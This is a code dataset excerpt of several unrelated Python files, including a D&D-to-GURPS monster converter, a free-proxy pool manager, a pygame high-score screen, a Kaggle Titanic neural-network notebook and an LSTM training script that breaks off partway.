\"damage\": {\"type\": \"imp\", \"st\": \"thr\", \"base\": \"3\"},\n \"strength\": \"12†\",\n \"usage\": \"Thrust\",\n \"reach\": \"4, 5*\",\n \"parry\": \"0U / 0\",\n \"block\": \"No\",\n \"defaults\": [\n {\"type\": \"dx\", \"modifier\": -5},\n {\"type\": \"skill\", \"name\": \"Spear\"},\n {\"type\": \"skill\", \"name\": \"Polearm\", \"modifier\": -4},\n {\"type\": \"skill\", \"name\": \"Staff\", \"modifier\": -2},\n ],\n \"calc\": {\n \"level\": 6,\n \"parry\": \"6U / 0\",\n \"block\": \"No\",\n \"damage\": \"1d+2 imp\",\n },\n }\n ],\n \"equipped\": True,\n \"calc\": {\"extended_value\": 80, \"extended_weight\": \"13 lb\"},\n }\n # endregion\n default_data[\"equipment\"].append(pikeEquipment)\n # Hand Axe -> Axe/Mace Skill, Axe Equipment\n elif action[\"name\"] == \"Hand Axe\":\n # region Axe/Mace Skill\n axeMaceSkill = {\n \"id\": \"8a428136-80a2-489e-9e0d-fa113e1f99cd\",\n \"type\": \"skill\",\n \"name\": \"Axe/Mace\",\n \"reference\": \"B208\",\n \"tags\": [\"Combat\", \"Melee Combat\", \"Weapon\"],\n \"difficulty\": \"dx/a\",\n \"points\": profPoints,\n \"defaulted_from\": {\n \"type\": \"dx\",\n \"modifier\": -5,\n \"level\": 6,\n \"adjusted_level\": 6,\n \"points\": -6,\n },\n \"defaults\": [\n {\"type\": \"dx\", \"modifier\": -5},\n {\n \"type\": \"skill\",\n \"name\": \"Two-Handed Axe/Mace\",\n \"modifier\": -3,\n },\n {\"type\": \"skill\", \"name\": \"Flail\", \"modifier\": -4},\n ],\n \"calc\": {\"level\": 10, \"rsl\": \"DX-1\"},\n }\n # endregion\n default_data[\"skills\"].append(axeMaceSkill)\n # region Axe Equipment\n axeEquipment = {\n \"id\": \"9211d2df-bf12-4cc5-bf15-096fb119da14\",\n \"type\": \"equipment\",\n \"description\": \"Axe\",\n \"reference\": \"B271\",\n \"tech_level\": \"0\",\n \"tags\": [\"Melee Weapon\"],\n \"quantity\": 1,\n \"value\": 50,\n \"weight\": \"4 lb\",\n \"weapons\": [\n {\n \"id\": \"50000db7-86e6-4251-aa90-cd0424209d96\",\n \"type\": \"melee_weapon\",\n \"damage\": {\"type\": \"cut\", \"st\": \"sw\", \"base\": \"2\"},\n \"strength\": \"11\",\n \"usage\": \"Swung\",\n \"reach\": \"1\",\n \"parry\": \"0U\",\n \"block\": \"No\",\n \"defaults\": [\n {\"type\": \"dx\", \"modifier\": -5},\n {\"type\": \"skill\", \"name\": \"Axe/Mace\"},\n {\"type\": \"skill\", \"name\": \"Flail\", \"modifier\": -4},\n {\n \"type\": \"skill\",\n \"name\": \"Two-Handed Axe/Mace\",\n \"modifier\": -3,\n },\n ],\n \"calc\": {\n \"level\": 10,\n \"parry\": \"8U\",\n \"block\": \"No\",\n \"damage\": \"1d+4 cut\",\n },\n }\n ],\n \"equipped\": True,\n \"calc\": {\"extended_value\": 50, \"extended_weight\": \"4 lb\"},\n }\n # endregion\n default_data[\"equipment\"].append(axeEquipment)\n # Trident -> Spear Skill, Spear Throw Skill, Trident Equipment\n elif action[\"name\"] == \"Trident\":\n # region Spear Skill\n spearSkill = {\n \"id\": \"71d611f4-adef-4c59-9e29-7828a5832a64\",\n \"type\": \"skill\",\n \"name\": \"Spear\",\n \"reference\": \"B208\",\n \"tags\": [\"Combat\", \"Melee Combat\", \"Weapon\"],\n \"difficulty\": \"dx/a\",\n \"points\": profPoints,\n \"defaulted_from\": {\n \"type\": \"dx\",\n \"modifier\": -5,\n \"level\": 6,\n \"adjusted_level\": 6,\n \"points\": -6,\n },\n \"defaults\": [\n {\"type\": \"dx\", \"modifier\": -5},\n {\"type\": \"skill\", \"name\": \"Polearm\", \"modifier\": -4},\n {\"type\": \"skill\", \"name\": \"Staff\", \"modifier\": -2},\n ],\n \"calc\": {\"level\": 10, \"rsl\": \"DX-1\"},\n }\n # endregion\n default_data[\"skills\"].append(spearSkill)\n # region Spear Throw Skill\n spearThrowSkill = {\n \"id\": \"4f5ec478-8673-40ba-9a08-b6650b523ed3\",\n \"type\": \"skill\",\n \"name\": \"Thrown Weapon\",\n \"reference\": \"B226\",\n \"tags\": [\"Combat\", \"Ranged Combat\", \"Weapon\"],\n \"specialization\": \"Spear\",\n \"difficulty\": \"dx/e\",\n \"points\": profPoints,\n \"defaulted_from\": {\n \"type\": \"dx\",\n \"modifier\": -4,\n \"level\": 7,\n \"adjusted_level\": 7,\n \"points\": -7,\n },\n \"defaults\": [\n {\"type\": \"dx\", \"modifier\": -4},\n {\"type\": \"skill\", \"name\": \"Spear Thrower\", \"modifier\": -4},\n {\n \"type\": \"skill\",\n \"name\": \"Thrown Weapon\",\n \"specialization\": \"Harpoon\",\n \"modifier\": -2,\n },\n ],\n \"calc\": {\"level\": 11, \"rsl\": \"DX+0\"},\n }\n # endregion\n default_data[\"skills\"].append(spearThrowSkill)\n\n tridentEquipment = jsons.tridentEquipment\n default_data[\"equipment\"].append(tridentEquipment)\n # Claws / Claw -> Sharp Claws\n elif action[\"name\"] == \"Claws\" or action[\"name\"] == \"Claw\":\n default_data[\"traits\"].append(jsons.sharpClawsTrait)\n # Fangs -> Fangs Trait\n elif action[\"name\"] == \"Fangs\":\n default_data[\"traits\"].append(jsons.fangsTrait)\n # Bite -> Sharp Teeth Trait\n elif action[\"name\"] == \"Bite\":\n default_data[\"traits\"].append(jsons.sharpTeethTrait)\n else:\n newActionTrait = {\n \"id\": str(uuid.uuid4()),\n \"type\": \"action\",\n \"name\": \"Action Name\",\n \"notes\": \"Description\",\n \"base_points\": 5,\n \"calc\": {\"points\": 5},\n }\n newActionTrait[\"name\"] = action[\"name\"]\n newActionTrait[\"notes\"] = convert_to_gurps(action[\"entries\"][0])\n default_data[\"traits\"].append(newActionTrait)\n\n # Add Legendary Actions as Trait\n if \"legendary\" in input_data:\n for action in input_data[\"legendary\"]:\n newActionTrait = {\n \"id\": str(uuid.uuid4()),\n \"type\": \"action\",\n \"name\": \"Action Name\",\n \"notes\": \"Description\",\n \"base_points\": 5,\n \"calc\": {\"points\": 5},\n }\n newActionTrait[\"name\"] = action[\"name\"]\n newActionTrait[\"notes\"] = (\n \"For 1 fp, the following can be done following the turn of another creature. \"\n + convert_to_gurps(action[\"entries\"][0])\n )\n default_data[\"traits\"].append(newActionTrait)\n\n # Bonus Action\n if \"bonus\" in input_data:\n for action in input_data[\"bonus\"]:\n newActionTrait = {\n \"id\": str(uuid.uuid4()),\n \"type\": \"action\",\n \"name\": \"Action Name\",\n \"notes\": \"Description\",\n \"base_points\": 5,\n \"calc\": {\"points\": 5},\n }\n newActionTrait[\"name\"] = action[\"name\"]\n newActionTrait[\"notes\"] = (\n \"For 1 fp do the following on your turn in addition to a maneuver. \"\n + convert_to_gurps(action[\"entries\"][0])\n )\n default_data[\"traits\"].append(newActionTrait)\n\n # Reaction\n if \"reaction\" in input_data:\n for reaction in input_data[\"reaction\"]:\n newActionTrait = {\n \"id\": str(uuid.uuid4()),\n \"type\": \"action\",\n \"name\": \"Action Name\",\n \"notes\": \"Description\",\n \"base_points\": 5,\n \"calc\": {\"points\": 5},\n }\n newActionTrait[\"name\"] = reaction[\"name\"]\n newActionTrait[\"notes\"] = (\n \"For 1 fp, the following can be done following the turn of another creature. \"\n + convert_to_gurps(reaction[\"entries\"][0])\n )\n default_data[\"traits\"].append(newActionTrait)\n\n # Size and Health Benefits from Size\n\n # Extra Health\n\n # Senses\n if \"senses\" in input_data:\n for sense in input_data[\"senses\"]:\n if \"darkvision\" in sense:\n # region Darkvision Trait\n darkvisionTrait = {\n \"id\": str(uuid.uuid4()),\n \"type\": \"trait\",\n \"name\": \"Dark Vision\",\n \"reference\": \"B47,P46\",\n \"tags\": [\"Advantage\", \"Exotic\", \"Physical\"],\n \"modifiers\": [\n {\n \"id\": \"d8886d7f-b079-4e07-9f7a-749f509e1bc0\",\n \"type\": \"modifier\",\n \"name\": \"Can see colors in the dark\",\n \"cost\": 20,\n \"disabled\": True,\n },\n {\n \"id\": \"f515b6a5-62d7-4105-9622-ffc131556f64\",\n \"type\": \"modifier\",\n \"name\": \"Hypersensory\",\n \"reference\": \"P46\",\n \"cost\": 40,\n \"disabled\": True,\n },\n ],\n \"base_points\": 25,\n \"calc\": {\"points\": 25},\n }\n # endregion\n default_data[\"traits\"].append(darkvisionTrait)\n elif \"blindsight\" in sense:\n blindsightTrait = {\n \"id\": str(uuid.uuid4()),\n \"type\": \"trait\",\n \"name\": \"Blindsight\",\n \"userdesc\": \"Can perceive its surroundings without relying on sight, within 60 ft.\",\n \"base_points\": 40,\n \"calc\": {\"points\": 40},\n }\n default_data[\"traits\"].append(blindsightTrait)\n elif \"tremor\" in sense:\n tremorsenseTrait = {\n \"id\": str(uuid.uuid4()),\n \"type\": \"trait\",\n \"name\": \"Tremorsense\",\n \"userdesc\": \"Can sense its surroundings via vibrations in the ground. Can automaticaly pinpoint the location of anything in contact with the ground within 60 ft.\",\n \"base_points\": 40,\n \"calc\": {\"points\": 40},\n }\n default_data[\"traits\"].append(tremorsenseTrait)\n elif \"true\" in sense:\n truesightTrait = {\n \"id\": str(uuid.uuid4()),\n \"type\": \"trait\",\n \"name\": \"True Sight\",\n \"userdesc\": \"Can see normally in magical and nonmagical darkness, see invisible creatures and objects, automatically detect visual illusions and succeed on saving throws against them, and perceive the original form of a shapechanger or a creature that is transformed by magic. Within 120 ft.\",\n \"base_points\": 60,\n \"calc\": {\"points\": 60},\n }\n default_data[\"traits\"].append(truesightTrait)\n elif \"devil\" in sense:\n devilssightTrait = {\n \"id\": str(uuid.uuid4()),\n \"type\": \"trait\",\n \"name\": \"Devil's Sight\",\n \"userdesc\": \"Can see normally in magical and nonmagical darkness, within 120 ft.\",\n \"base_points\": 30,\n \"calc\": {\"points\": 30},\n }\n default_data[\"traits\"].append(devilssightTrait)\n\n # Languages\n if \"languages\" in input_data:\n for language in input_data[\"languages\"]:\n # region Language Trait\n languageTrait = {\n \"id\": str(uuid.uuid4()),\n \"type\": \"trait\",\n \"name\": \"Language: Any\",\n \"reference\": \"B24\",\n \"tags\": [\"Advantage\", \"Language\", \"Mental\"],\n \"modifiers\": [\n {\n \"id\": \"ff972d9a-b925-4895-a489-f3d14999074d\",\n \"type\": \"modifier\",\n \"name\": \"Native\",\n \"reference\": \"B23\",\n \"cost\": -6,\n \"cost_type\": \"points\",\n \"disabled\": True,\n },\n {\n \"id\": \"e9f38c71-c4bd-45ee-a5e2-b47a33029f96\",\n \"type\": \"modifier\",\n \"name\": \"Spoken\",\n \"reference\": \"B24\",\n \"notes\": \"None\",\n \"cost_type\": \"points\",\n \"disabled\": True,\n },\n {\n \"id\": \"6cd10ab4-c4f9-4764-a47d-0e77d105d862\",\n \"type\": \"modifier\",\n \"name\": \"Spoken\",\n \"reference\": \"B24\",\n \"notes\": \"Broken\",\n \"cost\": 1,\n \"cost_type\": \"points\",\n \"disabled\": True,\n },\n {\n \"id\": \"3c7caa3c-055e-4422-ac8e-6a2d632b391c\",\n \"type\": \"modifier\",\n \"name\": \"Spoken\",\n \"reference\": \"B24\",\n \"notes\": \"Accented\",\n \"cost\": 2,\n \"cost_type\": \"points\",\n \"disabled\": True,\n },\n {\n \"id\": \"231ba28d-11ce-44e1-8d23-074d40ca57c6\",\n \"type\": \"modifier\",\n \"name\": \"Spoken\",\n \"reference\": \"B24\",\n \"notes\": \"Native\",\n \"cost\": 3,\n \"cost_type\": \"points\",\n },\n {\n \"id\": \"152ad20b-dc58-4abb-b256-71da14dbb89c\",\n \"type\": \"modifier\",\n \"name\": \"Written\",\n \"reference\": \"B24\",\n \"notes\": \"None\",\n \"cost_type\": \"points\",\n \"disabled\": True,\n },\n {\n \"id\": \"6304a0d6-80f3-4a5f-b3cc-3ba2ae0c8063\",\n \"type\": \"modifier\",\n \"name\": \"Written\",\n \"reference\": \"B24\",\n \"notes\": \"Broken\",\n \"cost\": 1,\n \"cost_type\": \"points\",\n \"disabled\": True,\n },\n {\n \"id\": \"5818ab4a-2c4b-4c3e-a711-c4b6332daaca\",\n \"type\": \"modifier\",\n \"name\": \"Written\",\n \"reference\": \"B24\",\n \"notes\": \"Accented\",\n \"cost\": 2,\n \"cost_type\": \"points\",\n \"disabled\": True,\n },\n {\n \"id\": \"1b77515e-5789-49a0-8238-7242900c8c2c\",\n \"type\": \"modifier\",\n \"name\": \"Written\",\n \"reference\": \"B24\",\n \"notes\": \"Native\",\n \"cost\": 3,\n \"cost_type\": \"points\",\n },\n ],\n \"calc\": {\"points\": 6},\n }\n # endregion\n languageTrait[\"name\"] = language\n default_data[\"traits\"].append(languageTrait)\n\n # # Info\n # if \"fluff\" in input_data:\n # if \"entries\" in input_data[\"fluff\"]:\n # for entry in input_data[\"fluff\"][\"entries\"]:\n # # checks if type is string\n # if type(entry) == str:\n # pass\n # else:\n # subsections = entry[\"entries\"][0]\n # for subentry in subsections[\"entries\"]:\n # description = subentry[\"entries\"]\n # for paragraph in description:\n # pass\n\n # # Image\n # if \"fluff\" in input_data:\n # if \"images\" in input_data[\"fluff\"]:\n # image_url = input_data[\"fluff\"][\"images\"][0][\"href\"][\"url\"]\n # pass\n\n # WRITE OUTPUT FILE\n with open(\"output.gcs\", \"w\") as f:\n json.dump(default_data, f, indent=4)\n\n\n# Run main function\n# Ask the user if the character is battle-hardened\nuser_input = input(\"Is the character battle-hardened? (Yes/No): \")\n# Load input file\nwith open(\"input.json\", \"r\") as f:\n input = json.load(f)\n\n# Run main function\nrun_convert(input, user_input)\n","repo_name":"neelin1/dndGurpsConverterScript","sub_path":"converter.py","file_name":"converter.py","file_ext":"py","file_size_in_byte":207250,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"54"} +{"seq_id":"12488291423","text":"# -*- coding: utf-8 -*-\n# !/usr/bin/env python\n\"\"\"\n-------------------------------------------------\n File Name: ProxyManager.py\n Description : 代理控制器,负责从免费网站抓取Ip刷新库,负责调用数据库接口返回,查询,修改,删除数据\n Author : JoeyCAO\n date: 2019/1/6\n-------------------------------------------------\n Change Activity:\n 2019/1/16:\n-------------------------------------------------\n\"\"\"\n__author__ = 'JoeyCAO'\n\nimport random\nfrom Util.LogHandler import LogHandler\nfrom DB.DbClient import DbClient\nfrom Util.GetConfig import config\nfrom ProxyGetter.getFreeProxy import GetFreeProxy\nfrom ProxyGetter.CheckProxy import verifyProxyFormat\n\n\nclass ProxyManager(object):\n \"\"\"\n ProxyManager\n \"\"\"\n\n def __init__(self):\n self.db = DbClient()\n self.raw_proxy_queue = 'raw_proxy'\n self.log = LogHandler('proxy_manager')\n self.useful_proxy_queue = 'useful_proxy'\n\n def get(self):\n \"\"\"\n return a useful proxy\n :return:\n \"\"\"\n self.db.changeTable(self.useful_proxy_queue)\n item_dict = self.db.getAll()\n if item_dict:\n return random.choice(list(item_dict.keys()))\n return None\n # return self.db.pop()\n\n def delete(self, proxy):\n \"\"\"\n delete proxy from pool\n :param proxy:\n :return:\n \"\"\"\n self.db.changeTable(self.useful_proxy_queue)\n self.db.delete(proxy)\n\n def getAll(self):\n \"\"\"\n get all proxy from pool as list\n :return:\n \"\"\"\n self.db.changeTable(self.useful_proxy_queue)\n item_dict = self.db.getAll()\n return list(item_dict.keys()) if item_dict else list()\n\n def getNumber(self):\n self.db.changeTable(self.raw_proxy_queue)\n total_raw_proxy = self.db.getNumber()\n self.db.changeTable(self.useful_proxy_queue)\n total_useful_queue = self.db.getNumber()\n return {'raw_proxy': total_raw_proxy, 'useful_proxy': total_useful_queue}\n\n def refresh(self):\n \"\"\"\n 通���ProxyGetter/getFreeProxy取代理并放入数据库\n :return:\n \"\"\"\n self.db.changeTable(self.raw_proxy_queue) # 切换到生肉列表\n for proxyGetter in config.proxy_getter_functions:\n # 开始按照config.ini中指定的抓取函数逐个运行\n try:\n self.log.info(\"{func}: fetch proxy start\".format(func=proxyGetter))\n for proxy in getattr(GetFreeProxy, proxyGetter.strip())(): # getattr后面加(),直接运行该函数,即运行某个抓取函数\n #\n proxy = proxy.strip()\n # print(proxy)\n if proxy and verifyProxyFormat(proxy): # 验证proxy符合IP代理的格式\n self.log.info('{func}: fetch proxy {proxy}'.format(func=proxyGetter, proxy=proxy))\n self.db.put(proxy) # 验证通过加入数据库\n else:\n self.log.error('{func}: fetch proxy {proxy} error'.format(func=proxyGetter, proxy=proxy)) # 验证出错记录bug\n except Exception as e:\n self.log.error(\"{func}: fetch proxy fail\".format(func=proxyGetter))\n continue\n\n\nif __name__ == '__main__':\n pp = ProxyManager()\n","repo_name":"Flyingrhino007/Ip_Proxy","sub_path":"Manager/ProxyManager.py","file_name":"ProxyManager.py","file_ext":"py","file_size_in_byte":3463,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"70542840802","text":"answer = False\r\ncount = 99999#needs to be at least 6 digits\r\nwhile answer == False:\r\n count +=1\r\n x = set(str(count))\r\n x2 = set(str(2*count))\r\n x3 = set(str(3*count))\r\n x4 = set(str(4*count))\r\n x5 = set(str(5*count))\r\n x6 = set(str(6*count))\r\n answer = (x==x2 and x==x3 and x==x4 and x==x5 and x==x6 )\r\nprint(count)\r\n ","repo_name":"jmbosley/EulerProject","sub_path":"Euler Project 52.py","file_name":"Euler Project 52.py","file_ext":"py","file_size_in_byte":346,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"12480304817","text":"import numpy as np\nimport csv\n\nchildren = []\n\nchildrencsv = open(\"Student_Weight_Status_Category_Reporting_Results__Beginning_2010.csv\")\n\nreader = csv.reader(childrencsv)\n\nfor line in reader:\n if(line[1]!= 'N/A' and line[4] == '2010-2012' and line[11] == 'DISTRICT TOTAL' and line[12] == 'COUNTY'):\n children.append([line[1],line[8]])\n\nprint(children)\nprint(len(children))\n","repo_name":"gold1617/NYSHealthStatistics","sub_path":"prelimtesting.py","file_name":"prelimtesting.py","file_ext":"py","file_size_in_byte":383,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"3830327360","text":"import pygame as pg\nimport pygame.font\n\nclass ScoreScreen:\n\n def __init__(self, settings, screen, button):\n self.screen = screen\n self.button = button\n\n self.title_font = pygame.font.SysFont(None, 100)\n self.Title = self.title_font.render('HIGH SCORES', False, (60,230,60))\n\n self.font = pygame.font.SysFont(None, 72)\n\n high_score_file = open(\"highscores.txt\", \"r\")\n temphigh = []\n num_lines = self.file_len(\"highscores.txt\")\n for x in range(num_lines):\n temphigh.append(int(high_score_file.readline()))\n temphigh.sort()\n high_score_file.close()\n\n self.score0 = self.font.render(str(temphigh[0]), False, (200, 200, 200))\n self.score1 = self.font.render(str(temphigh[1]), False, (200, 200, 200))\n self.score2 = self.font.render(str(temphigh[2]), False, (200, 200, 200))\n self.score3 = self.font.render(str(temphigh[3]), False, (200, 200, 200))\n self.score4 = self.font.render(str(temphigh[4]), False, (200, 200, 200))\n\n def draw(self):\n self.button.draw()\n self.scores()\n self.title()\n\n def title(self):\n self.screen.blit(self.Title, [325, 50])\n\n def scores(self):\n self.screen.blit(self.score0, [500, 500])\n self.screen.blit(self.score1, [500, 550])\n self.screen.blit(self.score2, [500, 600])\n self.screen.blit(self.score3, [500, 650])\n self.screen.blit(self.score4, [500, 700])\n\n def file_len(self, fname):\n with open(fname) as f:\n for i, l in enumerate(f):\n pass\n return i + 1","repo_name":"isotelo00/alienInvasion","sub_path":"score_screen.py","file_name":"score_screen.py","file_ext":"py","file_size_in_byte":1619,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"15703218025","text":"#!/usr/bin/env python\n# coding: utf-8\n\n# # Impact of Features on simple Neural Networks\n# \n# \n# ## Introduction\n# \n# After a lecture about ML I found out about Kaggle and I thought it might be a motivating way to practice and apply what I've learned.\n# \n# To get a feeling about how the __quantity__ and __quality__ of features influences the performance of a simple neural network I decided to try a few constellations and measure the output. I hope sharing my results might help another beginner. However, I'm also new to ML, so feedback is very welcome.\n# \n# At first I'm going to introduce the basic program and afterwards I'm going to augment it step by step. \n\n# ## First Approach\n# \n# For this project I used **Keras** to simplify the construction of the NN. To load the data I used pandas:\n\n# In[ ]:\n\n\n# Import Dataset\ndata = pd.read_csv('train.csv')\ndf = pd.DataFrame(data)\n\n# Replace Sex with 1(male) and 0(female)\ndf.replace({'male': 1, 'female': 0}, inplace=True)\n\n\n# I replaced missing features (e.g. Age) with -1 and trained a three layer, fully connected network with 1500 nodes on each layer an dropout. Afterwards, I tried dropping some values randomly.\n\n# In[ ]:\n\n\n# Shuffle Data \ndf = df.sample(frac=1.0)\n\n# Delete Cabin (Data to sparse) and ID (pure Random)\n# print(df['Survived'].isnull().sum()) # Age:177, Cabin: 687, Embarked:2\ndf.drop(['PassengerId', 'Cabin', 'Cabin', 'Embarked', 'Name', 'Ticket'], axis=1, inplace=True)\n\n# Create train and test\ntrain_data = df.values[:800]\ntest_data = df.values[800:]\n\nx_train = train_data[:, 1:]\ny_train = np_utils.to_categorical(train_data[:, 0])\n\nx_test = test_data[:, 1:]\ny_test = np_utils.to_categorical(test_data[:, 0])\n\n# Setup the Network\nmodel = Sequential()\nmodel.add(Dense(1500,\n activation='relu',\n input_shape=(x_train.shape[1],),\n kernel_regularizer=regularizers.l2(0.1)\n ))\nmodel.add(Dropout(0.5))\nmodel.add(Dense(2000, activation='relu',\n kernel_regularizer=regularizers.l2(0.1)\n ))\nmodel.add(Dropout(0.5))\nmodel.add(Dense(1500, activation='relu'))\nmodel.add(Dense(2, activation='softmax',\n kernel_regularizer=regularizers.l2(0.1)\n ))\n\n# Compile the model\nmodel.compile(loss='categorical_crossentropy',\n optimizer='adam',\n metrics=['accuracy'])\n\ntb = TensorBoard(log_dir='logs/{}'.format(time()))\n\n# Train\nmodel.fit(x=x_train, y=y_train, batch_size=200, verbose=2, epochs=25, callbacks=[tb])\n\n# Eval\nscore = model.evaluate(x_test, y_test, verbose=0)\nprint(\"Accuracy: {}\".format(score[1]))\n\n\n# Some features reduced the accuracy slightly when added or dropped, but in general the accuracy was not exceeding 61%.\n\n# ## Extracting New Features\n# After the first approach was not very successful I decided to engineer some new features, inspired by [Megan Risdals script](https://www.kaggle.com/mrisdal/exploring-survival-on-the-titanic). \n# \n# The first step was counting how often a certain title occurs:\n\n# In[ ]:\n\n\n# Extract title from the name\n\ndef getTitle(name):\n '''\n :param name: Name of the format Firstname, Title Surename\n :return: Title\n '''\n\n m = re.search('(?<=,\\s)\\w+', name)\n return (m.group(0))\n\n\n# Extract titles and count\ntitle_set = {}\nfor name in df['Name']:\n title = getTitle(name)\n if title in title_set:\n title_set[title] = title_set[title] + 1\n else:\n title_set[title] = 1\nprint(title_set) \n# Output:\n# {'Mr': 517, 'Ms': 1, 'Don': 1, 'the': 1, \n# 'Mlle': 2, 'Jonkheer': 1, 'Rev': 6, \n# 'Dr': 7, 'Miss': 182, 'Major': 2, \n# 'Sir': 1, 'Lady': 1, 'Mme': 1, 'Mrs': 125, \n# 'Master': 40, 'Col': 2, 'Capt': 1}\n\n\n# To simplify the classes I merged *Col, Capt* and *Major* to the title-group _Military_, *Mme, Mlle, Ms* to _UnmarriedWoman_, and eventually *Lady, Sir* and *the* to _nobility_. Other titles are considered to be _miscellaneous_. \n# \n# These classes were used to add a new (numerical) attribute to the data:\n\n# In[ ]:\n\n\ndef getTitleNum(name):\n '''\n Assign a numeral according to the title\n :param name: \n :return: numeral according to title\n '''\n\n title = getTitle(str(name).upper())\n\n title_dict = {}\n title_dict[\"MR\"] = 0\n title_dict[\"MRS\"] = 1\n title_dict[\"COL\"] = 2\n title_dict[\"CAPT\"] = 2\n title_dict[\"MAJOR\"] = 2\n title_dict[\"MME\"] = 3\n title_dict[\"MLLE\"] = 3\n title_dict[\"MS\"] = 3\n title_dict[\"MISS\"] = 3\n title_dict[\"LADY\"] = 4\n title_dict[\"SIR\"] = 4\n title_dict[\"THE\"] = 4\n title_dict[\"MASTER\"] = 5\n title_dict[\"REV\"] = 6\n title_dict[\"DR\"] = 7\n\n if title in title_dict:\n return title_dict[title]\n else:\n return -1\n\n\ndf['Title'] = df.apply(lambda row: getTitleNum(row['Name']), axis=1)\n\n\n# The old network increased its accuracy on the Test-Data by 10% to 71%. So apparently the title is a good predictor. Even after removing sex and age the accuracy didn't differ significantly. This was strange since Cameron told us that it's women and children first. \n# \n# Therefore, I discretized the age into *toddler (<3)*, *child (<12)*, *teenager (<17)*, *adult (<50)* and *senior (>50)*. With this data I trained another, similar NN to predict the age of the passengers with missing data.\n\n# In[ ]:\n\n\n# Discretize the Age\ndef discretAge(age):\n if age < 3:\n return 0\n if age < 12:\n return 1\n if age < 17:\n return 2\n if age < 50:\n return 3\n if age >= 50:\n return 4\n # Keep the missing values\n return age\n\n\ndf['DisAge'] = df.apply(lambda row: discretAge(row['Age']), axis=1)\n\n# Replace Sex with 1(male) and 0(female)\ndf.replace({'male': 1, 'female': 0}, inplace=True)\n\n# Shuffle Data and extract rows with missing age\ndf = df.sample(frac=1.0)\nage_missing = df[df['Age'].isnull()]\nage_complete = df[df['Age'].notnull()]\n\n\n# Create train and test\nages = age_complete['DisAge'].values\n\nx_train = age_complete[['Title','Pclass', 'Sex']].values[:650]\ny_train = np_utils.to_categorical(ages[:650])\n\nx_test = age_complete[['Title','Pclass', 'Sex']].values[650:]\ny_test = np_utils.to_categorical(ages[650:])\n\n# Setup the Network\nmodel = Sequential()\nmodel.add(Dense(800,\n activation='relu',\n input_shape=(x_train.shape[1],),\n kernel_regularizer=regularizers.l2(0.1)\n ))\n\nmodel.add(Dropout(0.5))\nmodel.add(Dense(800, activation='relu'))\nmodel.add(Dense(5, activation='softmax',\n kernel_regularizer=regularizers.l2(0.1)\n ))\n\n# Compile the model\nmodel.compile(loss='categorical_crossentropy',\n optimizer='adam',\n metrics=['accuracy'])\n\ntb = TensorBoard(log_dir='logs/{}'.format(time()))\n\n# Train\nmodel.fit(x=x_train, y=y_train, batch_size=200, verbose=2, epochs=25, callbacks=[tb])\n\n# Eval\nscore = model.evaluate(x_test, y_test, verbose=0) # ~75%\n\n\n# In[ ]:\n\n\n# Apply the new model to predict the missing values\n\ndef predictAge(row):\n '''\n Use the trained network to predict the discrete Age\n :param row:\n :return:\n '''\n\n if math.isnan(float(row['DisAge'])):\n v = np.array(row[['Title', 'Pclass', 'Sex']].values)\n pred = model_age_prediction.predict(v.reshape((1,3)))\n return np.argmax(pred)\n return row['DisAge']\n\ndf['DisAge'] = df.apply(lambda row: predictAge(row), axis=1)\n\n\n# The same network increased its accuracy by another 15% to 87% accuracy. By adding some other values (e. g. Fare) the accuracy fell again, sometimes dramatically. \n\n# ## Conclusion\n# \n# This example shows, that the quality of features is very important. High quantity, however, could do more harm than good. Maybe that's just an artifact from this dataset or maybe I did something terribly wrong. Anyway, feedback is very welcome. =) \n# \n","repo_name":"nischalshrestha/automatic_wat_discovery","sub_path":"Notebooks/py/raziel1511/impact-of-features-on-simple-neural-networks/impact-of-features-on-simple-neural-networks.py","file_name":"impact-of-features-on-simple-neural-networks.py","file_ext":"py","file_size_in_byte":7798,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"54"} +{"seq_id":"35198826308","text":"from dataclasses import dataclass, field\nimport os\n\nimport numpy as np\nimport torch\nimport torch.nn as nn\nfrom transformers import HfArgumentParser\nfrom torch.utils.data import DataLoader\nimport pandas as pd\nfrom sklearn.model_selection import KFold\nfrom tqdm import tqdm, trange\nfrom numpy.lib.stride_tricks import sliding_window_view\nimport torch.multiprocessing as mp\nfrom torch.utils.data.distributed import DistributedSampler\nfrom torch.nn.parallel import DistributedDataParallel as DDP\nfrom torch.distributed import init_process_group, destroy_process_group\nimport os\nfrom sklearn.preprocessing import MinMaxScaler\nimport torch.distributed as dist\n\nclass LSTMModel(nn.Module):\n def __init__(self, input_size, hidden_size, num_layers, output_size):\n super(LSTMModel, self).__init__()\n self.hidden_size = hidden_size\n self.num_layers = num_layers\n self.output_size = output_size\n\n self.lstm = nn.LSTM(input_size, hidden_size, num_layers, batch_first=True)\n self.fc = nn.Linear(hidden_size, output_size, bias=False)\n\n def forward(self, x):\n h0 = torch.zeros(self.num_layers, x.size(0), self.hidden_size).to(x.device)\n c0 = torch.zeros(self.num_layers, x.size(0), self.hidden_size).to(x.device)\n\n out, _ = self.lstm(x, (h0, c0))\n out = self.fc(out[:, -1, :])\n # out[out < 0] = 0\n # out[out > 0] = 1\n return out\n\n@dataclass\nclass ModelConfig:\n data: str = field(metadata={\"help\": \"path to csv data\"})\n\nif __name__ == \"__main__\":\n parser = HfArgumentParser(ModelConfig)\n args = parser.parse_args_into_dataclasses()[0]\n\n # dist.init_process_group(\"nccl\")\n # rank = dist.get_rank()\n # device_id = rank % torch.cuda.device_count()\n\n # load data\n df = pd.read_csv(args.data)\n df = df.drop(columns=[\"time\"])\n # drop columns that are all 0\n df = df.loc[:, (df != 0).any(axis=0)]\n\n # get columns\n columns = df.columns.values\n print(columns)\n # print(df.loc[0, :].to_numpy().tolist())\n\n df_len = len(df.index.values)\n train_len = int(df_len * 0.6)\n\n array = df.to_numpy()\n kf = KFold(n_splits=10)\n\n # print(np.min(array[array > 0]))\n \n # array = array + 1\n # array[array == 0] = np.nan\n\n # clip dataset with 99% percentile\n # array = np.clip(array, 0, np.percentile(array, 99))\n\n training_set = array[:train_len]\n test_set = array[train_len:]\n\n # sc = MinMaxScaler(feature_range=(0, 1))\n # training_set_scaled = sc.fit_transform(training_set)\n # test_set_scaled = sc.transform(test_set)\n\n # z-score 